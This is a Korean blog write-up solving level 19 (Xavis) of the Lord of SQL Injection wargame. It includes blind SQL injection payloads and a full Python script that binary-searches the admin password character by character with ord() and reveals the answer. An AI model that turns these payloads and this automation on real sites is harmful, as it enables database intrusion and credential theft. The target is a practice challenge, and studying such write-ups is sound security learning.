[Level 19. Xavis] Sol → ?pw=우왕굳
우선 BlindSQL을 사용하기 위해 자동화 코드를 돌렸고, 비밀번호의 길이는 12가 나왔다.
그런데, 비밀번호를 하나씩 구하는 코드가 잘 돌아가지 않았다.
그래서 직접 pw =' or id = 'admin' and ascii(substring(pw, 1, 1)) > 0 # 을 넣어보았는데, Hello admin이 뜨지 않았다.
잉? 그래서 < 0을 넣었는데 이것도 Hello admin이 뜨지 않았다.
혹시나 해서 = 0을 넣으니 Hello admin이 떴다.
기존에는 아스키 값을 1에서 127 사이로 제한해두었었는데, 제한을 벗어나는 값이 비밀번호에 사용된 것 같다.
그래서 최솟값을 0으로 변경하고 다시 자동화 코드를 돌려보니, 1부터 12까지 모든 자리값이 0이 나왔다.
그래서 \0을 넣어보기도 하고 그냥 0을 넣어보기도 하고 했는데, 답이 아니었다.
찾아보니 ascii로는 한글 같은 멀티 바이트의 아스키코드 값은 구할 수 없었다. 그래서 ascii 대신에 ord를 써서 코드를 돌렸다. ord를 써서 돌리니 128 이내에서는 값이 나오지 않았다. 처음에는 500, 1000으로 늘려도 계속 더 크게 나와서 한글의 최댓값을 찾아보니 5만 5천대여서 최댓값은 6만으로 설정해주었다.
import requests
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
cookie = {'PHPSESSID': 'Cookies'}
def find_length():
pwlength = 1
while True:
param = {"pw": "' or id = 'admin' and length(pw) = {} #".format(pwlength)}
req = requests.get(url, params = param, cookies = cookie)
if "Hello admin" in req.text:
return pwlength
else:
pwlength += 1
def find_pw():
length = find_length()
print("길이", length)
password = ""
for i in range(length):
s = 0
e = 60000
value = 30000
while True:
param = {"pw": "' or id = 'admin' and ord(substring(pw, {}, 1)) = {} #".format(i+1, value)}
print(param)
req = requests.get(url, params = param, cookies = cookie)
if "Hello admin" in req.text:
password += chr(value)
break
else:
param = {"pw": "' or id = 'admin' and ord(substring(pw, {}, 1)) > {} #".format(i+1, value)}
req = requests.get(url, params = param, cookies = cookie)
if "Hello admin" in req.text:
s = value
value = (value + e) // 2
else:
e = value
value = (s + value) // 2
print("비밀번호는: ", password)
find_pw()
첫 번째는 50864, 두 번째는 50773, 세 번째는 44403이 나오고 나머지는 전부 NUL이 나왔다.
+) 근데 MySQL에서 length('우왕굳')을 해보니 12가 아니라 9가 나왔다.
아마 인코딩 차이로 여기서는 UTF-8 인코딩, 한글 3byte, 영어 1byte이기 때문에 한 글자당 3byte로 인식한 것 같다.
'WarGames > SQL Injection' 카테고리의 다른 글
Lord of SQL Injection : Iron_golem[21] (0) | 2021.12.24 |
---|---|
Lord of SQL Injection : Dragon[20] (0) | 2021.12.22 |
Lord of SQL Injection : Nightmare[18] (0) | 2021.12.17 |
Lord of SQL Injection : Zombie_assassin[17] (0) | 2021.12.16 |
Lord of SQL Injection : Succubus[16] (0) | 2021.12.14 |
댓글